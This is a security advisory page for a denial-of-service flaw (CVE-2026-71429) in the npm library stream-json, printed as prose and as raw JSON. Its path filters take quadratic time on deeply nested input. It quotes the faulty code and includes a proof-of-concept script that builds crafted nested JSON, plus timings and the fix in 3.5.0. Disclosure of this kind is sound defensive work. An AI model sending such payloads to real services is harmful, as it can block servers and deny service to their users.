GHSA-528H-PC64-C93X

Vulnerability from github – Published: 2026-09-03 20:27 – Updated: 2026-09-03 20:27
VLAI
Summary
stream-json: pick/ignore/filter/replace filters are O(depth²) on nested input — small crafted JSON blocks the event loop for seconds→minutes (DoS)
Details

Description

The path filters pick, ignore, filter, and replace — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on every checkable token. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth D costs O(D²), not O(D).

This is triggered by document structure (nesting depth), not byte volume, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact README flagship example pick({filter: 'data'}). Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.

Affected code (v3.4.0)

src/core/filters/filter-base.js:

// L26-32 — string filter: rejoins the ENTIRE stack on every call
const stringFilter = (string, separator) => {
  const stringWithSeparator = string + separator;
  return stack => {
    const path = stack.join(separator);              // O(depth) — every call
    return path === string || path.startsWith(stringWithSeparator);
  };
};

// L34-39 — regexp filter: same
const regExpFilter = (regExp, separator) => {
  return stack => {
    regExp.lastIndex = 0;
    return regExp.test(stack.join(separator));       // O(depth) — every call
  };
};
// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state
const action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;

stack is pushed/popped on startObject/startArray/end (L239-250), so stack.length === depth. For a depth-D document that hasn't matched yet, filter() runs once per level and each call is O(depth) ⇒ O(D²) total.

Not affected: the streamArray/streamObject/streamValues streamers use asm.depth (an O(1) getter), so they don't exhibit this. The issue is specific to filter-base.js recomputing the path string.

Proof of concept

npm i stream-json@3.4.0
node poc-quadratic-dos.mjs
import parserStream from 'stream-json';
import { pick } from 'stream-json/filters/pick.js';
import chain from 'stream-chain';

function run(D) {
  const doc = '{"meta":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches "data"
  return new Promise((resolve) => {
    const t0 = process.hrtime.bigint();
    const pipeline = chain([parserStream(), pick({ filter: 'data' })]);
    pipeline.on('data', () => {});
    pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));
    pipeline.write(doc); pipeline.end();
  });
}
for (const D of [5000, 10000, 20000, 40000]) {
  const r = await run(D);
  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);
}

Measured (Node v24, single core, clean npm i stream-json@3.4.0):

D=5000    bytes= 45001   ms=  160
D=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -> quadratic)
D=20000   bytes=180001   ms= 2511   (4.2x)
D=40000   bytes=360001   ms=11823   (4.7x)

A ~360 KB body (pure nesting, no data) blocks the event loop for ~12 seconds; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.

Impact

Remote, unauthenticated denial of service against any application that runs untrusted JSON through pick/ignore/filter/replace with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.

Suggested fix

Maintain the joined path incrementally instead of rejoining the whole stack per token: - On startObject/startArray push: append separator + key to a cached path string (and remember the pre-push length). - On end/pop: truncate the cached path back to the remembered length. - Filters test/startsWith against the cached string — O(1) amortized per token, making the whole traversal O(D).

Alternatively expose/enforce a maximum nesting depth for the filter path check.

Resolution

Fixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with maxDepth: Infinity.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "stream-json"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T20:27:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\nThe path filters `pick`, `ignore`, `filter`, and `replace` \u2014 the library\u0027s headline \"surgical extraction\" feature \u2014 recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D\u00b2)**, not O(D).\n\nThis is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary \"traverse until the filter matches\" path \u2014 including the exact README flagship example `pick({filter: \u0027data\u0027})`. Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body \u2014 the primary documented use case \u2014 can be made to block its event loop.\n\n### Affected code (v3.4.0)\n\n`src/core/filters/filter-base.js`:\n\n```js\n// L26-32 \u2014 string filter: rejoins the ENTIRE stack on every call\nconst stringFilter = (string, separator) =\u003e {\n  const stringWithSeparator = string + separator;\n  return stack =\u003e {\n    const path = stack.join(separator);              // O(depth) \u2014 every call\n    return path === string || path.startsWith(stringWithSeparator);\n  };\n};\n\n// L34-39 \u2014 regexp filter: same\nconst regExpFilter = (regExp, separator) =\u003e {\n  return stack =\u003e {\n    regExp.lastIndex = 0;\n    return regExp.test(stack.join(separator));       // O(depth) \u2014 every call\n  };\n};\n```\n\n```js\n// L194 \u2014 filter(stack, chunk) is invoked for EVERY checkable token while in the \u0027check\u0027 state\nconst action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;\n```\n\n`stack` is pushed/popped on `startObject`/`startArray`/end (L239-250), so `stack.length === depth`. For a depth-*D* document that hasn\u0027t matched yet, `filter()` runs once per level and each call is O(depth) \u21d2 **O(D\u00b2)** total.\n\n**Not affected:** the `streamArray`/`streamObject`/`streamValues` streamers use `asm.depth` (an O(1) getter), so they don\u0027t exhibit this. The issue is specific to `filter-base.js` recomputing the path string.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.4.0\nnode poc-quadratic-dos.mjs\n```\n\n```js\nimport parserStream from \u0027stream-json\u0027;\nimport { pick } from \u0027stream-json/filters/pick.js\u0027;\nimport chain from \u0027stream-chain\u0027;\n\nfunction run(D) {\n  const doc = \u0027{\"meta\":\u0027.repeat(D) + \u00271\u0027 + \u0027}\u0027.repeat(D); // depth D, never matches \"data\"\n  return new Promise((resolve) =\u003e {\n    const t0 = process.hrtime.bigint();\n    const pipeline = chain([parserStream(), pick({ filter: \u0027data\u0027 })]);\n    pipeline.on(\u0027data\u0027, () =\u003e {});\n    pipeline.on(\u0027end\u0027, () =\u003e resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));\n    pipeline.write(doc); pipeline.end();\n  });\n}\nfor (const D of [5000, 10000, 20000, 40000]) {\n  const r = await run(D);\n  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);\n}\n```\n\nMeasured (Node v24, single core, clean `npm i stream-json@3.4.0`):\n\n```\nD=5000    bytes= 45001   ms=  160\nD=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -\u003e quadratic)\nD=20000   bytes=180001   ms= 2511   (4.2x)\nD=40000   bytes=360001   ms=11823   (4.7x)\n```\n\nA **~360 KB** body (pure nesting, no data) blocks the event loop for **~12 seconds**; extrapolating O(D\u00b2), ~1\u20132 MB reaches single-digit minutes of CPU on one request.\n\n## Impact\n\nRemote, unauthenticated denial of service against any application that runs untrusted JSON through `pick`/`ignore`/`filter`/`replace` with a string or RegExp filter \u2014 the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.\n\n## Suggested fix\n\nMaintain the joined path incrementally instead of rejoining the whole stack per token:\n- On `startObject`/`startArray` push: append `separator + key` to a cached path string (and remember the pre-push length).\n- On end/pop: truncate the cached path back to the remembered length.\n- Filters test/`startsWith` against the cached string \u2014 O(1) amortized per token, making the whole traversal O(D).\n\nAlternatively expose/enforce a maximum nesting depth for the filter path check.\n\n## Resolution\n\nFixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with `maxDepth: Infinity`.",
  "id": "GHSA-528h-pc64-c93x",
  "modified": "2026-09-03T20:27:53Z",
  "published": "2026-09-03T20:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/security/advisories/GHSA-528h-pc64-c93x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uhop/stream-json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "stream-json: pick/ignore/filter/replace filters are O(depth\u00b2) on nested input \u2014 small crafted JSON blocks the event loop for seconds\u2192minutes (DoS)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…